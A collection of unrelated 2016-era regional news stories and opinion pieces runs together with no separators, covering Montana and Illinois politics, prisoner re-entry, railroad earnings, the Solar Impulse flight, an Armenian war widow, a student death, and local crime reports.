Suffering from a severe lack of credibility and transparency, Gov. Steve Bullocks latest attempt to deceive voters has created a crisis of leadership in Montana, said RGA communications director Jon Thompson. After getting caught using the state plane for campaign travel more than 20 times  spending precious taxpayer dollars for political purposes  Bullock has refused to release his schedule, hiding the truth from Montanans. Steve Bullock is just another liberal politician covering up a scandal.

Montana Democratic Party spokesman Jason Pitt questioned if the lawmakers who promised the legislation knew about the ad buy.

"We expect this is the first of many dishonest attacks from a Washington, D.C. front group funded by dark money kingpin Greg Gianforte. It's hard to trust Gianforte with anything since he is ducking questions on discrimination laws, hiding his history of donating millions to out-of-the-mainstream interest groups, and now was caught lying about talking to Facebook.

Pitt said Bullock has used the plane less on average than any other governor.

Blasdel, Osmundson and Tschida released the following statements:

Sen. Mark Blasdel: This bill puts an end to any governors ability to abuse taxpayer dollars  its simply wrong to take advantage of a State resource to raise money for your campaign.

Rep. Osmundson: As a pilot, Im deeply bothered by Bullocks misuse of the State plane, flying such short distances that should be driven and shortchanging taxpayers by refusing to pay for the full costs of the state plane.

Rep. Tschida: Theres a level of arrogance demonstrated by our Governor, who only reimbursed taxpayers because he got caught and then continues to fly on the taxpayers dime to these fundraisers, as if nothing were wrong.
In an April 17 Ravalli Republic story, Greg Gianforte, a Republican candidate for Montana governor, says he doesnt support the transfer of public lands to states because its not attainable at this time.

At this time?

Mr. Gianforte, transferring our public lands to states should never be an option. Not at this time or at any time when doing so might be attainable.

Special interests are actively hawking the idea of transferring management of public lands to the states because they know darn well its the first step toward selling them off. They claim, along with Greg Gianforte, that the same federal government which is trillions of dollars in debt will pay for the counties to manage public lands.

Governor Steve Bullock last year vetoed legislation requiring the state of Montana to study the feasibility of assuming the cost of managing our lands. Gov. Bullock knows its a dangerous first step. Montanas Jennifer Fielder, a state senator from Thompson Falls, is the new head of an organization based out of Utah that openly advocates eliminating your voice in how our public lands are managed.

Mr. Gianforte, hunters and anglers take notice when people like Sen. Fielder publicly state how refreshing it will be to have a governor like you. No wonder were skeptical when you answer our question with not at this time.

Simple math

According to the Missoulian, Montana taxpayers would be asked to foot an additional bill of $500 million every year if our state were to take on management of federal lands, wiping out our rainy day savings. Likewise, the county commissions that Gianforte wants to assume management are underwater and cant adequately manage the roads, noxious weeds and other responsibilities they have now.

Gianforte and company know full well states cant afford the burden of managing millions of acres of land that all Americans own. Their endgame is to sell it off, so millionaires and billionaires like Greg Gianforte, the Koch brothers and the Wilks brothers can buy it up, close it off and lock the gate.

Sportsmen worry that under the leadership of someone like Greg Gianforte, the state of Montana would be forced to sell our public lands to help pay the bills. Its simple math. It means fewer places to find elk and deer and cutthroat. It means fewer opportunities for hunting, fishing and businesses. It means more harm to the robust, multibillion-dollar economy and tens of thousands of jobs created by access to our public lands.

Local control

Montanans already have an outsized level of control on our public lands. Local sawmills and local conservationists work together to find a balance that benefits jobs and the environment. Sportsmen, hikers, motorized users and mountain bikers work together to craft travel plans that benefit and respect all uses. Mr. Gianfortes call for local control ignores the mountain of work already underway to better manage public lands and it smacks of ignorance to the real issues being faced by those of us who live, work and play here.

When he says transferring is not attainable at this time, what we hear is: I support this dangerous idea, but Im waiting until its an easier lift. That doesnt fly with Montanans who are involved in helping manage our public lands, and it doesnt pass the smell test when it comes to ensuring better access to public lands, or better health of our forests, sagebrush and other wildlife habitats.

Mr. Gianforte, Montanas outdoor heritage is not something that belongs to the people who can afford to buy access.

Tony Jones

Hamilton
Darren Ashby is a 50-year-old husband and father of two who is working to get his license as an addiction counselor. He'll soon have a masters in social work from the University of Montana.

His late-blooming interest in education is encouraging, but wouldn't be terribly uncommon -- except that he's doing it all after years of battling addiction and serving time in the Montana State Prison.

Ashby spoke Thursday about the struggles people like him face when being paroled or released from prison. To get out on parole, offenders need to have a job and housing. That's hard to do while incarcerated and you can't show up for a job interview. It's difficult to put down a deposit on an apartment before establishing an income.

A statewide re-entry task force was created after the 2013 Legislature to explore making the transition easier. Montana has a recidivism rate of about 38 percent, and making the transition from prison to outside life less traumatic can lower that, said Adrianne Slaughter, Department of Corrections government relations director. The national rate is about 43 percent.

Ashby said he was a functioning addict for years and by the time he turned 30 was using methamphetamine daily. In 2008 he and his wife were charged with making drugs in their Missoula trailer where they lived with their teenage daughter. He spent five years with the Department of Corrections and 10 years on probation.

He did nine months of treatment and struggled to maintain hope while in a prerelease facility because of difficulty re-establishing himself in the community. After, he spent a year looking for work and lived with his wife, who supported him.

"All of the time and money invested in me could have been a total waste," he said. "I would not be standing here if I had no place to live or a home waiting for me when I left prerelease."

He lives in a rundown trailer in Missoula in "the worst part of town," but it's his home. He and his wife, who also is a recovering addict, are surrounded by illicit drug use and criminal behavior. They've built up strong social networks, and without them his neighborhood would be a "huge enabler."

***

Housing is the biggest obstacle to success both in getting released and making it in the community, Slaughter said.

Slaughter and others from the re-entry committee made several recommendations to lawmakers Thursday, including asking them to consider a model that provides housing first to prisoners being released, then focuses on other issues like setting up treatment and employment. Slaughter also asked the committee to examine finding ways to fund work done in communities to ease re-entry and look at ways to reduce the number of laws that work against convicted felons and make it hard to find jobs or housing.

Moe Wosepka, president of Helena Community Reentry, works with offenders being released from the state prison and a contracted facility in Shelby. His organization has helped about 15 sexual and violent offenders, who struggle the most to find homes and jobs, in its first year.

He has a good relationship with the local Job Service organization and landlords. He tries to start working with people before they are released. Many people get out on a 10-day parole, meaning they have 10 days to find a job and housing or are sent back to prison.

"All that never happens in a 10-day period," Wosepka said of the typical job search.

About 120 men right now are paroled but still living at the state prison in Deer Lodge because they cannot secure housing, a job, treatment or something else their release is contingent on. Those people mostly are sex offenders who can't find a place to live, Slaughter said.

These people can end up serving out the remained of their sentence and then are discharged into the community.

"We lose that time period to ease them back, to supervise them while we re-enter society," Slaughter said.

***

For offenders who do get out, immediate support is important.

"Those are critical times for guys getting out of prison," Wosepka said. "They're scared to death. People on the street are scared of these guys getting out, but these guy getting out of prison are scared. A lot of these guys walk out of prison with just the clothes they have on their back. Certainly that doesn't help them for job interviews."

Reintegrating offenders can save the state money, he said. It costs about $20,000 to $30,000 annually to keep someone in prison, but it costs just $7,000 to keep them out, he said.

Even better, he said, is "if they become taxpayers instead of tax consumers, there's an advantage to the state too."

Many people leaving the Department of Corrections fall into the category of chronic homelessness, said Stacy Collette, Department of Commerce operations manager for the Board of Housing.

"They bounce from neighborhood to neighborhood. In Montana from a housing perspective, I will tell you housing is very difficult. We do not have enough supply to meet renter demand."

She wants the state to adopt a model that meets housing needs first, and then starts to address other issues like finding a job or chemical dependency treatment.

Montana law sets up a broad requirement for the state to help offenders rehabilitate themselves and re-enter communities, but the state still has 569 collateral consequence, or rules that make it hard for people convicted of felonies to get jobs or take part in everyday life.

That could range from an inability to get a license to do a certain type of work to being excluded from housing or programs.

"There are three types of offenders: people who made a mistake, people who come to us broken and need resources for a large portion of their life and will be a regular drain on resources, and people who need to be incarcerated," she said. "We need to make sure as a state we are providing a community of support, housing and employment for those individuals who are capable of reintegrating back into society and not being a drain for years to come."
OMAHA, Neb. (AP)  Norfolk Southern's first-quarter profit jumped 25 percent thanks to the railroad's efforts to reduce costs 13 percent as volume slowed.

The Norfolk, Va.-based railroad said Thursday it earned $387 million, or $1.29 per share, in the quarter. That's up from last year's net income of $310 million, or $1 per share.

Norfolk Southern said it hauled 2 percent fewer carloads during the quarter as coal demand remained weak and coal shipments fell 23 percent. But Norfolk Southern's volume decline was smaller than either CSX or Union Pacific railroads reported this quarter.

Norfolk Southern's results exceed the earnings-per-share estimate of 98 cents that analysts surveyed by FactSet expected.

The railroad's revenue declined 6 percent to $2.42 billion. That was better than the $2.4 billion Wall Street expected, on average.

Norfolk Southern Chairman, President and CEO Jim Squires said the railroad is already benefiting from its effort to cut costs. Railroad officials said in January that Norfolk Southern would cut $130 million in expenses this year on the way to eliminating $650 million in costs by 2020.

Squires said Thursday that he now expects to cut $200 million in expenses this year.

Squires said the quarterly results demonstrate that Norfolk Southern has the right leadership team and plan in place.

Earlier this month, Canadian Pacific dropped its roughly $30 billion offer to acquire Norfolk Southern because the deal was opposed by Norfolk Southern executives, politicians and rail customers along the route and other railroads.

"Norfolk Southern has adapted to a challenging environment," said Squires, who became CEO last June. "We are on the right track and showing tangible results."

Citi Investment Research analyst Christian Wetherbee said it appears Norfolk Southern felt pressure from CP's efforts to buy the railroad and delivered rigorous cost controls in the quarter.

Shares of Norfolk Southern gained $3.62, or 4.4 percent, to sell for $86.25 in after-hours trading.

Norfolk Southern Corp. operates about 20,000 miles of track in 22 states and the District of Columbia.
KAPOLEI, Hawaii (AP)  Two pilots are slowly carving their way into a new future of solar-powered flight as one of them embarks on the latest leg of their around-the-world journey in a plane powered only by the sun.

After some uncertainty about the winds, the Solar Impulse team took off from Hawaii early Thursday. The aircraft landed in Hawaii last July but was forced to stay in the islands after the plane's battery system sustained heat damage on its trip from Japan.

The Swiss-made Solar Impulse 2 is now on course to land in Mountain View, Calif., in about three days.

The aircraft started its journey in March 2015 from Abu Dhabi, the capital of the United Arab Emirates, then made stops in Oman, Myanmar, China and Japan. It's on the ninth leg of its circumnavigation.

Pilot Bertrand Piccard, who is flying this leg of the trip, said the idea of crossing the ocean in a solar-powered plane a few years ago stressed him out, but Thursday morning he was confident things would go according to plan.

Piccard also said the flight's destination, in the heart of Silicon Valley, is fitting. He said on his way to the airfield that when the plane lands there, it will land "in the middle of the pioneering spirit."

Piccard's co-pilot Andre Borschberg, who flew the leg from Japan to Hawaii, told Piccard he greatly admires his dedication and strength.

He said the plane "represents what we could do on the ground in our communities, in our cities."

The team was delayed in Asia, as well. When first attempting to fly from Nanjing, China, to Hawaii, the crew had to end their trip early and divert to Japan because of unfavorable weather and a damaged wing.

A month later, when the weather conditions were right, the plane departed from an airport in Nagoya in central Japan for Hawaii.

That trans-Pacific leg was the riskiest part of the plane's global travels, as there was nowhere for it to land in an emergency. The same is true for the trip from Hawaii to the U.S. mainland.

The plane's ideal flight speed is about 28 mph, though that can double during the day when the sun's rays are strongest. The carbon-fiber aircraft weighs more than 5,000 pounds, or about as much as a minivan or midsize truck.

The wings of Solar Impulse 2, which stretch wider than those of a Boeing 747, are equipped with 17,000 solar cells that power propellers and charge batteries. The plane runs on stored energy at night.

The crew successfully arrived in Hawaii after completing their longest trip to date, but the plane's batteries became too hot on the first day of its trip from Japan to Hawaii. There was no way to cool them down, the team said, and the system required extensive repairs.

The company said there was no weakness in the technology, but they didn't anticipate similar temperature fluctuations in a tropical climate.
DECATUR  Decatur School District Superintendent Lisa Taylor has accepted a position as junior/senior high school principal in Heyworth, effective July 1.

Heyworth is a community in McLean County of with a population of about 2,600.

I have loved every position I've had in DPS, and am proud of our accomplishments, Taylor said. We have greatly improved the climate, culture and morale; implemented individual instructional devices; completed nearly $80 million in high school renovations; expanded dual credit opportunities; and worked with businesses to offer internships for high school students.

"What we have accomplished in Decatur, we have done together, and that is what I am most proud of. Our accomplishments are evidence that only through collective ownership and intentional collaboration can we truly improve schools.

Taylor has served Decatur since she was a student-teaching candidate and worked at MacArthur High School and in the Keil Administration Building as an administrator, including as deputy superintendent, prior to being named superintendent in 2014.

The opportunity to serve Heyworth is ideal for me and my family, Taylor said. I'm going to be able to work directly with students and teachers at the building level. The teachers and leaders are respected and trusted by the community.

"I am excited to be part of a team that is reflective and constantly learning, and most important, I'm looking forward to meeting the students.

Heyworth Superintendent Ty Wolf said he believes Taylor will be an outstanding principal.

Taylor's departure comes after several months of controversy in Decatur over her contract and four board members' decision against extending it past the original June 2017 expiration.

At a closed meeting in February, though no vote was taken, board members said it was obvious that Brian Hodges, Fred Spannaus and Dan Oakes were in favor of extending the contract while board President Sherri Perkins, Vice President B.A. Buttz, and members Alida Graham and T.J. Jackson were against it.

When word got out, community support was overwhelmingly in support of Taylor. At a work session on Feb. 16 meant to discuss potential budget cuts, the auditorium at MacArthur High School was filled with people wearing yellow, the color chosen by supporters to show their support for Taylor, and one after another stepped to the podium to express that support aloud.

Speakers included teachers, the presidents of the Decatur Education Association and the Decatur Federation of Teaching Assistants, community leaders, parents and students. Only a handful of speakers agreed with the four members of the board who were apparently opposed to extending Taylor's tenure.

At subsequent board meetings, district employees and community members again attended wearing yellow and spoke in favor of Taylor during public participation.

The four board members declined to comment on their reasons for being against extending the contract until the board meeting of March 15 when, in a meeting stretching longer than three hours, most of the discussion was devoted to Taylor's job performance and administration's use of p-cards, credit cards issued to members of administration and backed by the district.

The board had questioned whether all of the purchases on these cards were justifiable district expenses after the auditing firm BKD CPA and Advisors had raised concerns, though Taylor was only requested to reimburse the district less than $200 in charges. The cards are no longer in use.

Oakes asked if checking p-card transactions was standard auditing procedure, because he could not recall that ever being done in his many years on the board. The auditors said it wasn't, unless someone raises questions. Oakes also said that the audit report, before the p-card investigation, had been accepted unanimously by all board members.

The board made no open session decision on Taylor's contract at that meeting but tabled the matter until a later date.

Perkins did not return a call seeking comment on Taylor's departure or the board's plans to find a new superintendent, but searches generally take some time to complete, and it is likely the board will have to appoint an interim superintendent while that search is under way.

Suzanne Kreps, president of the Decatur Education Association, said she's happy for Taylor and her family, but will miss working with her.

She really is what a leader should be, Kreps said. She can be very kind and caring, but she can also be tough. She was firm in what she would say, but at the same time compassionate. We would talk through it. She did many things very well, and I wish we'd had more years under her leadership to see where the district could go.

Heyworth is getting an awesome, dynamic person, but it's a huge blow to us, said Paula Busboom, president of the Decatur Federation of Teaching Assistants.
CHICAGO -- My youngest son -- a picky eater who has only a handful of foods he's willing to consume, much less enjoy -- is the chief cookie consumer in our household, and his preferences are limited to Oreos and Chips Ahoys.

When I broke the news to him that our household was going to boycott Oreo cookies, his eyes bugged out in alarm. He asked, "Why?!"

I explained to him that last July, Mondelez International, the makers of Nabisco products, decided to move some of their Oreo cookie-making operations from the South Side of Chicago to Salinas, Mexico. This was after the Chicago workers refused to take a 60 percent reduction in wages and benefits.

I further explained that last week, the Rainbow PUSH Coalition and many of the 300 or so recently dismissed workers called for a boycott on Oreos and other Nabisco products made in Mexico to protest the Chicagoans who will be out of work. The lost jobs paid an average of $25 an hour while the Mexico workers will be lucky to make $60 per week for full-time work, according to estimates from the Bakery, Confectionery, Tobacco Workers and Grain Millers International Union.

This 14-year-old who barely eats anything said, "Heck yeah, we'll boycott."

A beat later, he, who has seen firsthand the poverty that the Mexican people on the border live in, said, "Well, what about the Mexican workers?" I sighed and had no good reply to that very real concern.

It's a little thing to boycott one product of a company that pumps out billions of dollars' worth of cookies and crackers annually. Less than a drop in the bucket, really, and one that -- unless every consumer in the country gives up Oreos -- will do little to save the jobs in a Chicago neighborhood that usually makes headlines for its economic instability and violent crime.

But it's the principle of the thing.

The majority of the 600 workers who will be left out of a job once all the layoffs are complete are either black or brown, and Mondelez International's move has managed to do what few other issues in Chicago accomplish: Bring African-Americans and Hispanics together.

This South Side community has had major tensions as its black and Hispanic residents started competing with each other for jobs. Yet in expressing his organization's support for the boycott, the Rev. Jesse Jackson articulated the matter succinctly: "These productive workers at Nabisco are losing their jobs, not because of a lack of work ethic, but because of exploitation and undercutting of workers on both sides of the border. ... Mexicans are not taking jobs from us. ... Corporations are taking the jobs to them."

"And don't think they are doing the Mexicans any favors," said Laura Martinez, a Mexican immigrant who has worked at the Nabisco plant for eight years. "Sixty dollars per week is an abuse in Mexico, they are exploiting those workers. I go to Mexico every six months and everything is so expensive, they're not going to be able to live on that. [Mondelez International] isn't helping Mexico and they sure aren't going to pass the savings of making the cookies on to U.S. customers. They're just making themselves richer."

Martinez went on to say that, like her co-workers, she's made a life for herself in Chicago that includes family whose futures are bleaker because companies keep moving away.

"Something must be done," Martinez told me. "What are we going to do? And where are our kids and grandkids going to work? This has to stop. You can't keep taking these jobs away."

Not everyone agrees.

Regarding the Oreos, Bloomberg columnist Paula Dwyer wrote: "When U.S. companies expand foreign operations, the net effect is greater employment at home, according to a study released recently by the pro-free-trade Peterson Institute for International Economics. ... When that happens, companies increase earnings, which allows them to divert resources to R&D and create more higher-paying, higher-skilled jobs."

Sure. But people who insist on pointing to aggregate numbers that "prove" offshoring jobs is a net positive for America usually don't live in poor communities with low-skilled workers like the South Side of Chicago, where every job counts.

For those of us who live closer to where real people are suffering from exported livelihoods, giving up our favorite cookies is the least we can do.
SPRINGFIELD  The Illinois Senate has approved a proposed amendment to the state Constitution that would change the way legislative and congressional districts are drawn but rejected one that would have eliminated the lieutenant governors office.

State Sen. Kwame Raoul, D-Chicago, sponsored the redistricting amendment, which is similar to one the Senate approved in 2010 that failed to win approval in the House. Unlike a current proposal from House Democrats and another backed by the group Independent Maps, Raouls measure would leave the task of redrawing boundaries largely in the hands of state lawmakers.

Here in the state of Illinois, we are fortunate to have a state with a diverse population, Raoul said, arguing that his measure would do the most to protect the influence of minority voters.

One way it would do that is by doing away with the requirement that each of the states 59 Senate districts be divided into two House districts. This would allow a better opportunity for voters in communities such as Chicagos Chinatown to elect officials who represent them, Raoul said.

Under his plan, the General Assembly would be required to adopt a map by a set deadline each decade following the U.S. Census. If it failed to do so, each chamber would adopt its own map. If that failed, commissions appointed by the leaders of each chamber would get their turn. If the commissions failed, the two most senior Illinois Supreme Court justices of opposite political parties would appoint a special master to create the map.

The measure also would require at least 10 public hearings across the state before a map could be adopted.

The proposed amendment cleared the Senate on a 39-19 vote, with Republican voting as a bloc in opposition  with the exception of state Sen. Sam McCann, R-Plainview.

State Sen. Bill Brady, R-Bloomington, said he supports the Independent Maps proposal.

Simply summed up, (Raouls proposal) still lets politicians draw their own maps, and we need to take it out of the hands of the politicians and put it in an independent body, which will draw maps to preserve the best interest of communities and the citizens of Illinois, Brady said.

State Sen. Tom Cullerton, D-Villa Park, sponsored the proposal to eliminate the lieutenant governors office, which he billed as an effort to streamline government. He noted that its a popular campaign talking point for members of both parties.

But the measure failed on a 21-28 vote, with opposition from members of both parties.

State Sen. Dale Righter, R-Mattoon, voiced a concern that was heard from both sides of the aisle. Because the amendment would leave the attorney general as the next person in the line of succession should the governors office become vacant, it could create a situation in which the top office is transferred from one party to another.

The redistricting amendment now requires approval from a three-fifths majority in the House to go before voters in the November election.
SPRINGFIELD  A group of Democratic lawmakers and school officials is calling on the General Assembly and Gov. Bruce Rauner to come to an agreement on an education budget for next year that brings more money to Southern Illinois districts.

The bill funding elementary and secondary education was the only portion of this years budget that Rauner signed last summer, and hes called for an overall increase in funding for next year. But Senate Democrats have been pushing for an overhaul of the formula the state uses to dole out funding to school districts, arguing that it doesnt make sense to put more money into an inequitable system.

State Rep. John Bradley, D-Marion, said he and fellow Southern Illinois Democrats state Rep. Brandon Phelps of Harrisburg and state Sen. Gary Forby of Benton arent advocating for a particular legislative proposal at this time.

We want to make sure the focus remains on protecting our schools and the people that educate our children in Southern Illinois, Bradley said Thursday at a Statehouse news conference.

Phelps said that whatever agreement lawmakers and the governor reach, it needs to address the disparity in funding between wealthier districts in the Chicago area and poorer ones downstate.

A child is a child and should be treated the same and should have the same amount of money, no doubt about it, wherever they live, Phelps said. ZIP code should not matter  when it comes to a childs education.

Matt Donkin, the regional superintendent of schools for Franklin, Johnson, Massac and Williamson counties, said the 22 school districts in his area know how to make do but depend highly on general state aid.

They need certainty to be able to plan for next school year, he said.

Were getting ready for the summer. People think, School doesnt start till August; no big deal,  Donkin said. But there is no offseason in education administration.

The legislators and Donkin were joined by school superintendents Michael Gauch of Harrisburg, Steve Webb of Goreville and Richard Towers of Christopher.

All three districts would see increases in state funding next year under Rauners proposed budget: $34,715 for Christopher, $34,259 for Harrisburg and $25,734 for Goreville.

But Gauch noted that the much larger Palatine School District in the Chicago suburbs, which already spends nearly $2,000 more per student on instructional costs, would receive an additional $323,549. Based on 2015 enrollment figures, thats about $9.31 more per student than Harrisburg would receive.

We need funding, without a doubt, but things have to be equitable, Gauch said, adding that his district cant afford to replace 19-year-old language arts textbooks without laying off teachers.

While the others wouldnt comment on specific proposals, Gauch said he likes a plan from state Sen. Andy Manar, D-Bunker Hill, that is designed to funnel more state funding to districts with high poverty rates and low property values.

The Illinois State Board of Education is still working on projections for what Manars plan would mean for individual districts.

Meanwhile, a proposed amendment to the Illinois Constitution that would have enacted a 3 percent tax on income of more than $1 million to fund education on a per-pupil basis was defeated Wednesday in the House. House Speaker Michael Madigan, D-Chicago, sponsored the proposal.
SPRINGFIELD  Both chambers of the General Assembly voted overwhelmingly Friday to approve $600 million in stopgap funding for higher education.

Hours after a bipartisan deal to appeared to have been derailed in the House, lawmakers voted 106-2 in that chamber and 55-0 in the Senate to approve the measure, which would fund financially beleaguered Chicago State University at 60 percent of what it received in fiscal year 2015 and the rest of the states eight university systems at 31 percent.

That amounts to $12.5 million for Eastern Illinois University, $20.9 million for Illinois State University and $57.5 million for Southern Illinois University. The bill also includes $74.1 million for community colleges  27 percent of annual funding  and $167.6 million for grants to low-income students through the Monetary Award Program, about a semesters worth of funding.

Lawmakers in both parties and both chamber vowed to continue to working on an agreement on more funding for the states higher education system, which hasnt received any state money amid the nearly yearlong budget standoff between Republican Gov. Bruce Rauner and the Democratic-controlled General Assembly.

Rauner has vetoed or threatened to veto previous bills the legislature has passed because he says the state doesnt have money to pay for them. But this bill, which his office says hell sign when it reaches his desk, would draw its money from the education assistance fund. That fund receives dedicated revenue from income taxes and other sources.

The Senate approved a separate measure Friday, also on a 55-0 vote, that includes identical funding for higher education and $441 million for social services from another dedicated fund. That measure would fund social services, which also have been deprived of funding during the impasse, at 35 percent of what they received in fiscal year 2015.

This story will be updated.
I met 17 year-old Anoush Ohanyan in Charentsavan, Armenia.

The Ohanyans, residents of the village of Talish, in Artsakh, fled the recent fighting and found refuge in Charentsavan.

There were no adult males at the house in Charentsavan; just women and three young boys. Varouzhan, Anoushs father, is a soldier serving in Talish.

Anoushs husband, 25-year-old Senior Lieutenant Hrach Galstyan, was killed during the fighting along the Artsakh Line of Contact.

Anoush was only able to mutter a few sentences before the camera. Her grandma said that Hrach and Anoush were deeply in love and that Anoush, expecting their first child in a month, is beside herself.

We decided to name the child Anahit, in honor of Hrachs mother, Anoush said. The young mother to be will travel to Gyumri and stay at the house of Hrachs parents. The child will be delivered there.

Anoush is a first yeargeography student at the state university in Stepanakert, the capital of Artsakh. Shes applied for a transfer to Gyumri. She wants to work as a geography teacher.

Anoush and Hrach first met in Talish. Anoush was still in high school when Hrach graduated the Vazgen Sargsyan Military Institute and was sent to serve in the village.

We got engaged on the day I graduated, said Anoush. The couple married one year ago. Anoush shows me pictures of their brief time together. There are many memories, says Anoush, but she cannot talk about them.

Siranoush Ohanyan, Anoushs mother says that when the Azerbaijani military started to shell Talish on the night of April 1, Hrachs back started to scratch, as if affected from the glass being smashed at their house.

On the morning of April 2, Hrach Galstyan gathered up his wife and the family and got them safely out of Talish.

I told him Hrach come with us. He replied that he couldnt, Anoush said, not knowing it would be the last time she saw her husband.

36 year-old Siranoush Ohanyan said that her husband telephoned from Talish on the night of April 3 with the tragic news that Hrach had been killed.

Siranoush, who was born and raised in Talish, remembers the battles that raged in 1992. She was twelve at the time. Back then, the family was forced to flee to Armenia for safety, only to return after Talish was liberated. The familys ruined house was rebuilt and Siranoush went on to marry and have Anoush and the three boys.

The Ohanyans have rented an apartment for 30,000 drams monthly. They are one of the 35 families that came to Charentsavan after the recent fighting in Artsakh.

As our conversation draws to a close, I ask Anoush if she is in need of anything.

Peace, she replies.

Photos: Narek Aleksanyan

Video: Davit Banouchyan
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Huppert and Depardieu starred in several films together in the 1970s, and they retain an electric on-screen chemistry here that makes the film a pleasure to watch even while it's confusing.

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Its worth recalling that Gaylord Nelson was right on the pressing social issues of his time, be it the Vietnam War and civil rights or protections for workers. Its just that his environmental legacy casts such a long shadow that we forget much of the rest of his work.
University of Wisconsin-La Crosse officials remain silent about the death of a 19-year-old freshman last week, saying that releasing information could jeopardize the investigation being conducted by campus police.

Memorial services have been scheduled for UW-L student Connor Glynn, who died in Rochester, Minn., last week.

A campus email sent to students Wednesday night included a link to information about a visitation, from 3 to 8 p.m. Friday at Becker Ritter Elmbrook Funeral Home in Brookfield, Wis. There will be a Mass at 2 p.m. Saturday at St. Charles Catholic Church in Hartland. In lieu of flowers, the family asks that memorial gifts be directed to the Connor Glynn Foundation, a newly-founded charity in his honor.

Medical personnel were called to Angell Hall late April 10 into the early morning hours of April 11 after residents found Glynn and tried to resuscitate him. He was taken to Mayo Health System in Rochester, where he died April 14.

Campus police, which are handling the investigation, and the Office of Student Life both have declined to comment on the cause of death, but UW-L Chancellor Joe Gow has said it is suspected the Glynn died of a prescription drug overdose.

Both UW-L Police Chief Scott McCullough and staff in the student life office have withheld further information about the incident, declining Tribune requests for incident reports. A letter from a UW System lawyer in response to requests for information said releasing it could harm the ongoing investigation.

The investigation could be tainted by public release of investigatory materials before it is concluded, the response stated. The public interest in an investigation that is thorough, fair, and untainted by premature release outweighs the public interest in access to incomplete and unapproved materials.

UW-Ls student life office said it may be several weeks before information is released.

UW-Ls police agency stopped updating its daily crime log after April 9, the day before Glynns emergency. The first update to the crime log was made either late Wednesday or early Thursday, and included an item about the medical call in Angell Hall. McCullough has not responded to questions about the log going more than 10 days without an update.

Agencies in Olmsted County have not responded to Tribune requests for more information about the case.

Last week, while providing no specific information about Glynns death or the investigation, UW-L Vice Chancellor for student life Paul Knudson said the university is confident there are no safety risks to students and that the university works hard to provide safe and healthy activities for students living on campus.

We dont have any safety concerns on campus, she said. If we did, we would quickly address them.
With Waukeshas quest for Lake Michigan water nearing its final stages, state Rep. Cory Mason is hitting the road.

Mason, D-Racine, will be in Chicago on Thursday and Friday when officials from Great Lakes states and provinces meet to discuss the citys application.

Next week, hell travel to Toronto for the Great Lakes Economic Forum and speak with Ontario officials about the diversion. In May, hell travel to Albany, N.Y. and meet with legislators there.

Its all in an effort to kill Waukeshas proposed diversion of Lake Michigan water. Due to problems with its water supply, the city is proposing to divert an average of 10 million gallons of Lake Michigan water per day and returning treated wastewater to the lake through the Root River.

Mason, who is not using state resources for his travel, argues the diversion would harm the Root. He says Waukesha can treat its current water supply, which has been plagued by high levels of radium, rather than tap Lake Michigan.

A Waukesha official says the citys only reasonable alternative is lake water and insists the diversion would help, not hurt, the Root River.

The decision is now in the hands of all eight Great Lakes governors, who could decide 30 days after this weeks gathering.

States hands tipped?

The health of the Great Lakes has been a big issue for Mason since he was elected in 2006.

In his first term, he was involved in the drafting of the Great Lakes Compact. The 2008 multi-state agreement specifies how the Great Lakes-St. Lawrence River Basin must be managed and includes provisions on diversions.

Mason, who has already traveled to Minnesota to discuss Waukeshas proposal, says hes been pleasantly surprised at the response so far. He hasnt needed to persuade anyone why a city in Wisconsin requesting Great Lakes water matters to someone in, say, New York.

Ive been very pleased how many people from different jurisdictions are here to make sure we get this right, said Mason, who is also chairman of the Great Lakes Legislative Council, which includes legislators from all Great Lakes states and provinces.

So far, the loudest opposition to the proposal has come from Minnesota, he said. Waukeshas request needs unanimous approval, meaning every state has veto power.

Both sides say this weeks meetings could provide the first indication on which way states are leaning.

The group is seeking a consensus opinion it would forward to Great Lakes governors. Dan Duchniak, general manager of the Waukesha Water Utility, said officials will look to finalize findings of fact  an agreement about the facts on which the states decision will be based.

Waukesha is preparing for scrutiny on the service area and the volume of water it proposes to divert, Duchniak said. In addition to increasing its usage from 6 million gallons a day to an average of 10 million gallons, the utilitys service area would also expand.

The states could approve the request with certain conditions, he said.

Waukesha still remains confident that ultimately the application will be approved because I believe the science behind the application is solid and that it shows the only reasonable water supply for the city of Waukesha is a Great Lakes supply, Duchniak said.

Two-day meeting

The Great Lakes-St. Lawrence River Water Resources Regional Body meets at 1 p.m. Thursday and 9 a.m. Friday at the University of Illinois-Chicago. Thursdays meeting is at Student Center-East, 750 S. Halsted St.; Fridays meeting is at Student Center-West, 828 S. Wolcott Ave.

The Regional Body may meet again on May 10 and May 11. Great Lakes governors are expected to meet in late May or early June to reach a final decision.
ALBUQUERQUE, N.M. (AP)  The Latest on the dispute over the New Mexico meadow jumping mouse (all times local):

2:55 p.m.

New Mexico's top water official has ordered his staff to investigate complaints from ranchers about the fencing of watering holes on some national forest lands.

State Engineer Tom Blaine made the announcement Thursday after receiving a letter from dozens of state lawmakers who are concerned about the U.S. Forest Service's efforts to protect the New Mexico meadow jumping mouse.

The lawmakers have asked Blaine to use his authority to stop the federal agency.

Blaine says New Mexico continues to be concerned with federal mismanagement of public lands and effects on farmers, ranchers and their livelihoods.

He says he's committed to working with lawmakers and local communities to ensure access to needed water.

___

10:02 a.m.

Nearly half of New Mexico's Legislature is stepping into the fray between ranchers and the federal government over the fencing of watering holes on national forest land to protect an endangered mouse found in three western states.

The 50 lawmakers say the government has overstepped its authority and is trampling private property and water rights.

They've sent a letter to State Engineer Tom Blaine, asking that he use his authority as New Mexico's top water official to stop the U.S. Forest Service from limiting access to springs, streams and other riparian areas.

The Forest Service began ordering closures and installing fences in 2014 on the Santa Fe and Lincoln forests.
A former Marshall man being sought for an alleged homicide in Stevens Point in March has been arrested in Colorado.

Kyle Engen, 30, was arrested at a residence in Granby, Colorado on Thursday, by officers of the Granby Police Department, the Grant County Sheriff's Office and the U.S. Marshals Fugitive Task Force in Colorado.

Engen was wanted in the shooting death of Deonta Lezine, 21, who died eight days after being shot during a drug deal on March 17 in Stevens Point. A 20-year-old man also was shot and survived.

Engen was in custody at the Grant County Sheriff's Office, awaiting extradition to Wisconsin.

The investigation started by Stevens Point police and the U.S. Marshals Badgerland Fugitive Investigative Apprehension Squad determined Engen left Wisconsin and fled to Granby.
Middleton police have identified the driver of a vehicle that struck two middle school girls as a former Middleton man who now lives in Edgerton.

Ross Cotter-Brown, 30, is at UW Hospital but will be taken to Dane County Jail when released from the hospital, to face tentative felony charges of hit and run and reckless endangerment, police said.

The two girls, ages 12 and 13, were seriously injured when hit by a truck Thursday while walking home from Kromrey Middle School in Middleton.

